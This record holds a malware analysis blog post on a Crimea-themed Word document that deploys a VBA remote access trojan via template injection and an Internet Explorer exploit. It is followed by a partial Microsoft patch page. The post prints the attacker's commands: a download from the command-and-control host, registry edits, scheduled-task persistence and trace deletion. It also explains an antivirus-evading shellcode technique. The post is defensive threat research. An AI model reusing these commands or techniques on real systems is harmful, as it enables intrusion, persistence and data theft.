DATABASE RESOURCES PRICING ABOUT US

{"id": "MALWAREBYTES:232C556149FB9AC828C416ADCCF93766", "type": "malwarebytes", "bulletinFamily": "blog", "title": "Crimea \u201cmanifesto\u201d deploys VBA Rat using double attack vectors", "description": "_This blog post was authored by Hossein Jazi._\n\nOn July 21, 2021, we identified a suspicious document named &quot;\u041c\u0430\u043d\u0438\u0444\u0435\u0441\u0442.docx&quot; (&quot;Manifest.docx&quot;) that downloads and executes two templates: one is macro-enabled and the other is an html object that contains an Internet Explorer exploit.\n\nWhile both techniques rely on template injection to drop a full-featured Remote Access Trojan, the IE exploit (CVE-2021-26411) previously used by the Lazarus APT is an unusual discovery. The attackers may have wanted to combine a social engineering technique with a known exploit to maximize their chances of infecting targets.\n\nWe also uncovered a panel used by the threat actor nicknamed &quot;Ekipa&quot; which seems to be a slang for &quot;equipment&quot;. Victims are tracked and statistics include whether the IE exploit was successful or not.\n\nWe could not determine who might be behind this attack based on the techniques alone, but a decoy document displayed to victims may give some clues. It contains a statement from a group associating with Andrey Sergeevich Portyko and opposed to Putin&#x27;s policies on the Crimean peninsula.\n\n### Remote templates\n\nBy looking closer at the remote template embedded in `settings.xml.rels` we noticed that it contains a full featured VBA Rat that performs the following actions:\n\n * Collects victim&#x27;s info\n * Identifies the AV product running on a victim&#x27;s machine\n * Executes shell-codes\n * Deletes files\n * Uploads and downloads files \n * Reads disk and file systems information\n\nThe second template is embedded in `Document.xml.rels` and is loaded into the document. Looking at the loaded code we noticed that it contains an [IE Exploit (CVE-2021-26411)](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) that was once used by Lazarus APT to target security researchers working on vulnerability disclosure, as reported by the threat research teams at [Google](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>) and [Microsoft](<https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/>). The shell-code executed using this exploit deploys the same VBA Rat that was loaded using remote template injection. \n\nAfter loading the remote templates the malicious document loads a decoy document in Russian which is pretty interesting. The decoy document is a statement from a group within Crimea that voices opposition to Russia and specifically Putin&#x27;s policies against that peninsula. In the following, you can see this statement in both Russian and English language.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/decoy-2-1.png> \"\" )Figure 1: Decoy document\n\n### Document Analysis\n\nThe malicious document (&quot;\u041c\u0430\u043d\u0438\u0444\u0435\u0441\u0442.docx&quot;) contains two templates in `settings.xml.rels` and `document.xml.rels`. The remote template that is located in `settings.xml.rels` downloads a macro weaponized template and loads it into current document. This remote template contains a macro code with full-featured Rat functionality. We provide the analysis of this VBA Rat in the next section.\n \n \n <?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate\" Target=\"HtTpS:\\\\cloud-documents.com/doc/t.php?action=show_content\" TargetMode=\"External\"/></Relationships>\n\nThe second template is embedded in` document.xml.rels` and will be loaded in an object in the main document. This template contains an exploit code for CVE-2021-26411.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/doc.rels_.xml_-1.png> \"\" )Figure 2: Document.xml.rels\n\nThis exploit code used by this remote template is almost similar to what has been reported by [ENKI](<https://enki.co.kr/blog/2021/02/04/ie_0day>) security firm. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/zero-day-1.png> \"\" )Figure 3: Exploit code\n\nThe shell-code executed by this exploit deploys the same VBA Rat that is also loaded using the remote template embedded in `settings.xml.rels`. In fact, the actor tries to deploy its VBA Rat using two different methods. \nThe shell-code is very simple and performs the following actions. The shell-code is written in the [AutoHotKey](<https://www.autohotkey.com/docs/Language.htm>) scripting language and all of its actions are executed using `SendInput` API call. \n\n * Add VBA Rat as Trusted document to TrustedRecords registry key. By adding this Rat to this registry there won&#x27;t be any need to enable the macro when this document will be opened next time. \n`reg add \\\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Word\\\\Security\\\\Trusted Documents\\\\TrustRecords\\\" /V https://cloud-documents.com/doc/templates/agent.dotm /t REG_BINARY /d 00000000000000000040230e43000000f9d99c01ffffff7f /f\"`\n * Get the VBA Rat using: `Winword /w https://cloud-documents.com/doc/t.php?document_show=notica`\n * Make this VBA Rat persistence by creating a Scheduled task to execute it every minute: \n`SCHTASKS /Create /SC MINUTE /MO 1 /TN \\\"z\\\" /TR winword.exe ' /q /w %appdata%\\Microsoft\\Word\\Startup\\_.dotm`\n * Delete `RunMru` registry value to clear its track records. \n`Reg delete HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RunMru \\f`\n\n### VBA Rat analysis (Remote Template)\n\nThe remote template contains `Document_Open` and `Document_Close` which are activated upon opening and closing the document. \n\n#### Document_Open:\n\nThe `Document_open` function checks if the active document has the docx extension and if that is the case it shows the hidden content (decoy content). Then, if the active document name is `\"_.dotm\"` (this is the case when the machine is already infected with this Rat), it calls `\"ConnectCP\"` function. The `ConnectCP` function is responsible for collecting victim&#x27;s info by calling the following functions as well as a value named `\"cve\"` in `CustomDocumentProperties` (this value is being set during the first execution of this document).\n\nAfter collecting data, it converts it into a json format by using the `JsonConvertor` function. The collected data later is used by the `SCI` function to be sent to the server and receive commands. \n\n * getUUID: Gets UUID by executing `\"SELECT * FROM Win32_ComputerSystemProduct\"`\n * getOS: Gets OS type by executing `\"SELECT * FROM Win32_OperatingSystem\"`\n * arch: Returns OS architecture\n * getCPU: Gets CPU info by executing `\"SELECT * FROM Win32_Processor\"`\n * getGPU: Gets GPU info by executing `\"SELECT * FROM Win32_VideoController\"`\n * getRAM: Gets physical memory capacity by executing` \"SELECT * FROM Win32_PhysicalMemory\"`\n * getStorage: Gets available hard drive space by executing `\"Select * from Win32_LogicalDisk Where DriveType = 3\"`\n * getName: Gets computer name, user name and domain name\n * getRole: Identify if the victim has admin role or not.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/getrole-1.png> \"\" )Figure 4: GetRole\n\n * getAV: Gets Anti-Virus product info including the AV name, AV status (enabled or disabled) and AV signature stature (outdated or actual). To get these info it executes `\"Select * from AntiVirusProduct\"` to get the list of active Anti Virus products and then calls `DisplayName` to get the AV name and then identify the AV status and AV signature status using the product state codes. As an example if the product state code is 266240, it means that the AV product is enabled and its signature is updated. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/getav-5.png> \"\" )Figure 5: GetAV\n\nAt the end, the `ConnectCP` function calls the `StartTimer` function to start the task execution procedure (`ExecuteTasks` function). This function creates a timer that calls the `ExecuteTasks` function every 10 minutes to execute the tasks received from the server.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/timer-1.png> \"\" )Figure 6: Set Timer\n\nIf the active document name is not `\"_.dotm\"` (The machine has not been infected before with this VBA Rat), it calls a function named `InstallFromExp` after making sure it is not running within a Sandbox environment and its extension is `dotm`. The attacker checks the value of the following registry key and if the value is equal to one it won&#x27;t execute the `InstallFromExp`.\n \n \n HKCU\\Software\\Microsoft\\Office\\&Application.Version&\\Excel\\Security\\VBAWarnings\n\nThe value one for this registry key means that all untrusted and trusted macros are allowed to run without any notification which usually is a default setting for sandbox environments to run macro embedded documents automatically. \n\n`InstallFromExp` performs the basic initialization of this Rat which includes the following three actions: \n\n * Sets the `customDocumentProperties` named `\"cve\" `to &quot;2021-26411&quot;.\n * Makes itself persistence by adding itself to word startup directory with `\"_.dotm\"` name: `APPDATA\\Microsoft\\Word\\StartUp\\_.dotm`\n * Cleans up its track records by deleting `RunMRU` registry key\n * Exits the program\n\n#### **Document_Close**\n\nThis function also performs the installation of the Rat but by calling a different function: `InstallFromMacro`. Before calling the installation function it calls the same `Sandbox` function to make sure it is not running into a sandbox environment and then checks if the path of the attached template includes `http` to make sure it has an embedded remote template url.\n\n`InstallFromMacro` performs initialization of the Rat which includes the following three actions:\n\n * Opens the attached remote template as a document and extract the contents of the comments section of the BuiltInDocumentProperties and spilts it by &quot;|&quot;. If the OS is 32 bit it takes the first part of the the comments and puts it in `skd` variable and if the OS is 64 bit it takes the second part of the comments section and puts it into `skd`. The `skd` variable later is used as a parameter for `AddTask` function.\n * Sets the `customDocumentProperties` named &quot;cve&quot; to &quot;MACRO&quot;.\n * Make itself persistence by adding itself to word startup directory with &quot;_.dotm&quot; name: `APPDATA\\Microsoft\\Word\\StartUp\\_.dotm`\n * Calls `AddTask` function\n * Cleans up its track records by deleting `RunMRU` registry key\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/installrat.png> \"\" )Figure 7: Rat installation\n\n### AddTask (Shell-Code execution using EnumWindows)\n\nThis function base64 decodes the content from the `skd` variable that has been set in `InstallFromMacro` function and executes it using `VirtualProtect` and `EnumWindows`. In fact the content of the `skd` is a small shell-code that has been executed within the memory without being written into disk. The actor has used an interesting API call for ShellCode execution. Instead of using well known API calls for shell code execution which can easily get flagged by AV products such as `VirtualAlloc`, `WriteProcessMemory`, and `CreateThread` the actor has used `EnumWindows` to execute its shell-code.\n\nThe second argument of `EnumWindows` is an application-defined value to be passed to the callback function. By providing the address of the shell-code from `VirtualProtect` as second parameter to this function, it can execute the Shell-code.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/addtask-1.png> \"\" )Figure 8: AddTask\n\nThe executed shell-code is very small and it just persists by creating a Scheduled task to execute it every minute:\n\n`SCHTASKS /Create /SC MINUTE /MO 1 /TN \\\"z\\\" /TR winword.exe ' /q /w %appdata%\\Microsoft\\Word\\Startup\\_.dotm`\n\nSimilar to the shell-code used in IE exploit, this shell-code is also written using AutoHotKey scripting language and it is using `SendmessageA` and `SendInput` to simulate keystrokes and perform its actions. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/shellcode.png> \"\" )Figure 9: Shell-code API and function calls resolving \n\n### ExecuteTasks\n\nThis is the main function of this VBA Rat that receives the command from the server in Json format and then parses the json file and executes the command. Each time this function can execute three tasks. This has probably been set to avoid making noise in network activities which might be detected by security products. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/ExecuteTasks-1.png> \"\" )Figure 10: Executes tasks\n\nTo receive the tasks from the server this function receives one argument which is a function named `SCI`. `SCI` function sends the collected data by `ConnectCP` function in json format in a `HTTP POST` request and receives the response from the server which includes the tasks that need to be executed in JSON format.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/sci-2.png> \"\" )Figure 11: Send info to server and receive commands\n\nHere is the list of commands that can be executed by this Rat. After executing each task the results of task execution will be sent to server.\n\n#### ReadDisks\n\nIt gets each Drive information on the machine using `Scripting.FileSystemObject.Drives` object. It then creates a JSON object which includes the following key and values for each drive object:\n\n * IsReady: this value sets to true if the drive is ready\n * Label: gets name of the drive which will be either ShareName or VolumeName. This depends on whether the drive is remote or not\n * Filesystem: gets the file system in use for the drive\n * Freespace: gets the amount of free space for the drive in KB \n * Name: gets the drive letter\n * IsDirectory: This value is always True\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/readdisks-1.png> \"\" )Figure 12: Read Disks\n\n#### ReadFileSystem\n\nThis function gets a Folder object corresponding to the folder in a specified path using `Scripting.FileSystemObject.GetFolder` object and then extracts it name, size, date last modified and puts them into a Json object. It also extracts the same information for all sub-folders and files in that Folder object and adds them to the Json object.\n\n#### Download File\n\nThis function reads a specified file using `Adobe.Recordset `and sends the data to sever using HTTP POST request. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/DOWNLOAD-1.png> \"\" )Figure 13: Download File\n\n#### Upload File\n\nThis module receives a file from the server and writes it into specified file. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/UPLOAD-1.png> \"\" )Figure 14: Upload File\n\n#### DeleteFile\n\nThis function uses Kill function to delete the specified file or directory. \n\n#### Terminate\n\nThis function terminates the execution of the Rat and exits the application.\n\n#### Execute\n\nThis function executes the received shell-code from the server using the same method used in `AddTask` function in which it has used `VirtualProtect `and `EnumWindows` to execute the shell-code. \n\nFigure 15: Execute Shell-code\n\n#### ChangeTiming\n\nThis function resets the timer that is used to execute tasks every 10 minutes by calling `EndTimer` to kill the timer and then calling `StartTimer` to start a new timer. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/str.png> \"\" )Figure 16: Send results\n\n### Attacker panel\n\nWe were able to access to the panel used by the attacker. The panel&#x27;s main page includes the list of victims with some information about them including: IP address, date and time, NTLM, Windows version, Windows Architecture, Office version, Office architecture, IE version, Exploited (shows if the IE zero day was successful or not), Loader (shows if the VBA Rat successfully executed or not) and note. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/panel-1.png> \"\" )Figure 17: The panel\n\nThe panel is written in PHP with a backed SQL database to store data. This `install.php` initializes the SQL database.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/install-4.png> \"\" )Figure 18: Install.php\n\n`stats.php` is the file that performs the main actions of this Rat that matches the functionalities we reported here. It also has some more functions including: `delete_task, disable_task, enable_task, show_tasks, add_task, format_task and add_user.`\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/downupfuncs-1.png> \"\" )Figure 19: Stats.php [](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/actions-1.png> \"\" )Figure 20: Stats.php\n\n### Conclusion\n\nIn this blog post we have analyzed an attack in which threat actors have used two different methods to infect their victims. Both techniques have been loaded by malicious documents using the template injection technique. The first template contains a url to download a remote template that has an embedded full-featured VBA Rat. This Rat has several different capabilities including downloading, uploading and executing files. The second template is an exploit for CVE-2021-26411 which executes a shell-code to deploy the same VBA Rat. The VBA Rat is not obfuscated but still has used some interesting techniques for shell-code injection.\n\nAs the conflict between Russia and Ukraine over Crimea continues, cyber attacks have been increasing as well. The decoy document contains a manifesto that shows a possible motive (Crimea) and target (Russian and pro-Russian individuals) behind this attack. However, it could also have been used as a false flag. \n\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2021/07/blockcrima.png> \"\" )\n\n### IOCs\n\n**Maldocs: \n**03eb08a930bb464837ede77df6c66651d526bab1560e7e6e0e8466ab23856bac \n0661fc4eb09e99ba4d8e28a2d5fae6bb243f6acc0289870f9414f9328721010a \n \n**Remote template:** \nfffe061643271155f29ae015bca89100dec6b4b655fe0580aa8c6aee53f34928 \n \n**C2 server:** \ncloud-documents[.]com\n\nThe post [Crimea &quot;manifesto&quot; deploys VBA Rat using double attack vectors](<https://blog.malwarebytes.com/threat-intelligence/2021/07/crimea-manifesto-deploys-vba-rat-using-double-attack-vectors/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "published": "2021-07-29T15:00:00", "modified": "2021-07-29T15:00:00", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 4.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, "href": "https://blog.malwarebytes.com/threat-intelligence/2021/07/crimea-manifesto-deploys-vba-rat-using-double-attack-vectors/", "reporter": "Threat Intelligence Team", "references": [], "cvelist": ["CVE-2021-26411"], "immutableFields": [], "lastseen": "2021-08-02T20:33:41", "viewCount": 320, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:925F84D3-4FE0-4A18-BAA9-170C701E718D"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0108"]}, {"type": "cve", "idList": ["CVE-2021-26411"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "kaspersky", "idList": ["KLA12108", "KLA12112"]}, {"type": "krebs", "idList": ["KREBS:83CB7FE17AB0EB62BC1947A917C7546C"]}, {"type": "mscve", "idList": ["MS:CVE-2021-26411"]}, {"type": "mskb", "idList": ["KB5000800", "KB5000803", "KB5000809", "KB5000822", "KB5000844", "KB5000848"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_MAR_5000802.NASL", "SMB_NT_MS21_MAR_5000803.NASL", "SMB_NT_MS21_MAR_5000807.NASL", "SMB_NT_MS21_MAR_5000808.NASL", "SMB_NT_MS21_MAR_5000809.NASL", "SMB_NT_MS21_MAR_5000822.NASL", "SMB_NT_MS21_MAR_5000841.NASL", "SMB_NT_MS21_MAR_5000844.NASL", "SMB_NT_MS21_MAR_5000847.NASL", "SMB_NT_MS21_MAR_5000848.NASL", "SMB_NT_MS21_MAR_INTERNET_EXPLORER.NASL", "SMB_NT_MS21_MAY_INTERNET_EXPLORER.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:B847D61CCF30D86B3C35C9E4CA764114", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:88A83067D8D3C5AEBAF1B793818EEE53"]}, {"type": "securelist", "idList": ["SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1"]}, {"type": "thn", "idList": ["THN:4225CEE6D7775276254C20B6E19126AE", "THN:BC8A83422D35DB5610358702FCB4D154", "THN:BE0D8117CAD7D5DE97C405935DA09BC3", "THN:DE791A2DD37FD88B59147561CF1F7BBF", "THN:FA6A50184463DFCD20073D5EDD0F36F2"]}, {"type": "threatpost", "idList": ["THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "THREATPOST:62A15BEBBD95FBF8704B78058BF030F1", "THREATPOST:EA23582BD77C428ACE9B9DB7D5741EB6"]}]}, "score": {"value": 0.0, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:925F84D3-4FE0-4A18-BAA9-170C701E718D"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0108"]}, {"type": "cve", "idList": ["CVE-2021-26411"]}, {"type": "githubexploit", "idList": ["C52C407D-E664-5756-BF78-38973532667A"]}, {"type": "kaspersky", "idList": ["KLA12108", "KLA12112"]}, {"type": "krebs", "idList": ["KREBS:83CB7FE17AB0EB62BC1947A917C7546C"]}, {"type": "mscve", "idList": ["MS:CVE-2021-26411"]}, {"type": "mskb", "idList": ["KB5000800", "KB5000809"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_MAR_5000848.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:B847D61CCF30D86B3C35C9E4CA764114"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:88A83067D8D3C5AEBAF1B793818EEE53"]}, {"type": "securelist", "idList": ["SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1"]}, {"type": "thn", "idList": ["THN:BC8A83422D35DB5610358702FCB4D154", "THN:BE0D8117CAD7D5DE97C405935DA09BC3", "THN:FA6A50184463DFCD20073D5EDD0F36F2"]}, {"type": "threatpost", "idList": ["THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "THREATPOST:62A15BEBBD95FBF8704B78058BF030F1"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2021-26411", "epss": "0.964250000", "percentile": "0.992420000", "modified": "2023-03-17"}], "vulnersScore": 0.0}, "_state": {"dependencies": 1659988328, "score": 1684008354, "epss": 1679098904}, "_internal": {"score_hash": "a792c6e8824e12b4549afee95479badd"}}

{"mskb": [{"lastseen": "2023-06-23T19:31:14", "description": "None\nThis article applies to the following:\n\n * Internet Explorer 11 on Windows Server 2012 R2\n * Internet Explorer 11 on Windows 8.1\n * Internet Explorer 11 on Windows Server 2012\n * Internet Explorer 11 on Windows Server 2008 R2 SP1\n * Internet Explorer 11 on Windows 7 SP1\n * Internet Explorer 9 on Windows Server 2008 SP2\n**Important**\n\n * As of February 11, 2020, Internet Explorer 10 is no longer in support. To get Internet Explorer 11 for Windows Server 2012 or Windows 8 Embedded Standard, see [KB4492872](<https://support.microsoft.com/help/4492872>). Install one of the following applicable updates to stay updated with the latest security fixes:\n * Cumulative Update for Internet Explorer 11 for Windows Server 2012.\n * Cumulative Update for Internet Explorer 11 for Windows 8 Embedded Standard.\n * The March 2021 Monthly Rollup.\n * Some customers using Windows Server 2008 R2 SP1 who activated their ESU multiple activation key (MAK) add-on before installing the January 14, 2020 updates might need to re-activate their key. Re-activation on affected devices should only be required once. For information on activation, see this [blog](<https://aka.ms/Windows7ESU>) post.\n * WSUS scan cab files will continue to be available for Windows 7 SP1 and Windows Server 2008 R2 SP1. If you have a subset of devices running these operating systems without ESU, they might show as non-compliant in your patch management and compliance toolsets. \n--- \n \n## Summary\n\nThis security update resolves vulnerabilities in Internet Explorer. To learn more about these vulnerabilities, see [Microsoft Common Vulnerabilities and Exposures](<https://portal.msrc.microsoft.com/en-us/security-guidance>).Additionally, see the following articles for more information about cumulative updates:\n\n * [Windows Server 2008 SP2 update history](<https://support.microsoft.com/help/4343218>)\n * [Windows 7 SP1 and Windows Server 2008 R2 SP1 update history](<https://support.microsoft.com/help/4009469>)\n * [Windows Server 2012 update history](<https://support.microsoft.com/help/4009471>)\n * [Windows 8.1 and Windows Server 2012 R2 update history](<https://support.microsoft.com/help/4009470>)\n**Important**\n\n * The fixes that are included in this update are also included in the March 2021 Security Monthly Quality Rollup. Installing either this update or the Security Monthly Quality Rollup installs the same fixes.\n * This update is not applicable for installation on a device on which the Security Monthly Quality Rollup or the Preview of Monthly Quality Rollup from March 2021 (or a later month) is already installed. This is because those updates contain all the same fixes that are included in this update.\n * If you use update management processes other than Windows Update and you automatically approve all security update classifications for deployment, this update, the March 2021 Security Only Quality Update, and the March 2021 Security Monthly Quality Rollup are deployed. We recommend that you review your update deployment rules to make sure that the desired updates are deployed.\n * If you install a language pack after you install this update, you must reinstall this update. Therefore, we recommend that you install any language packs that you need before you install this update. For more information, see [Add language packs to Windows](<https://technet.microsoft.com/library/hh825699>). \n--- \n \n## Known issues in this security update\n\nWe are currently not aware of any issues in this update.\n\n## How to get and install this update\n\n### Before installing this update\n\nTo install Windows 7 SP1, Windows Server 2008 R2 SP1, or Windows Server 2008 SP2 updates released on or after July 2019, you must have the following required updates installed. If you use Windows Update, these required updates will be offered automatically as needed.\n\n * Install the SHA-2 code signing support updates: \n \nFor Windows 7 SP1, Windows Server 2008 R2, and Windows Server 2008 SP2, you must have the SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) that is dated September 23, 2019 or a later SHA-2 update installed and then restart your device before you apply this update. For more information about SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>). \n \nFor Windows 7 SP1 and Windows Server 2008 R2 SP1, you must have installed the servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)) that is dated March 12, 2019. After update [KB4490628](<https://support.microsoft.com/help/4490628>) is installed, we recommend that you install the December 8, 2020 SSU ([KB4592510](<https://support.microsoft.com/help/4592510>)) or a later SSU update. For more information about the latest SSU updates, see [ADV990001 | Latest Servicing Stack Updates](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV990001>). \n \nFor Windows Server 2008 SP2, you must have installed the servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)) that is dated April 9, 2019. After update [KB4493730](<https://support.microsoft.com/help/4493730>) is installed, we recommend that you install the October 13, 2020 SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)) or a later SSU update. For more information about the latest SSU updates, see [ADV990001 | Latest Servicing Stack Updates](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV990001>).\n * Install the Extended Security Update (ESU): \n \nFor Windows 7 SP1 and Windows Server 2008 R2 SP1, you must have installed the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/en/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). \n \nFor Windows 7 SP1, Windows Server 2008 R2 SP1, and Windows Server 2008 SP2, you must have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems and follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n * For Windows 7 SP1, Windows Server 2008 R2 SP1, and Windows Server 2008 SP2, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>). \n \nFor Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services. \n \nFor Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.**Important **You must restart your device after you install these required updates.\n\n### Install this update\n\nTo install this update, use one of the following release channels.**Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update for the following versions:\n\n * Internet Explorer 11 for Windows Server 2012 and Windows Embedded 8 Standard\nFor all other versions, see the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=5000800>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically synchronize with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2, Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Server 2012, Windows Embedded 8 Standard, Windows 8.1, Windows Server 2012 R2**Classification**: Security Update \n \n## File information\n\nThe English (United States) version of this software update installs files that have the attributes that are listed in the following tables.**Note** The MANIFEST files (.manifest) and MUM files (.mum) that are installed are not listed.\n\n### **Windows 8.1, Windows RT 8.1 and Windows Server 2012 R2**\n\n### \n\n__\n\nInternet Explorer 11 on all supported x86-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nactxprxy.dll| 6.3.9600.19301| 25-Feb-2019| 22:20| 1,049,600 \nhlink.dll| 6.3.9600.19101| 18-Jul-2018| 20:55| 99,328 \npngfilt.dll| 11.0.9600.19963| 12-Feb-2021| 18:49| 58,368 \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 17:50| 1,343,488 \niexplore.exe| 11.0.9600.19036| 24-May-2018| 22:24| 817,296 \nWininetPlugin.dll| 6.3.9600.17416| 30-Oct-2014| 20:12| 35,328 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 46,592 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 56,320 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 57,856 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 11:17| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 47,616 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 49,152 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 55,296 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 45,056 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 39,424 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 35,840 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 53,760 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 54,272 \nwininet.dll.mui| 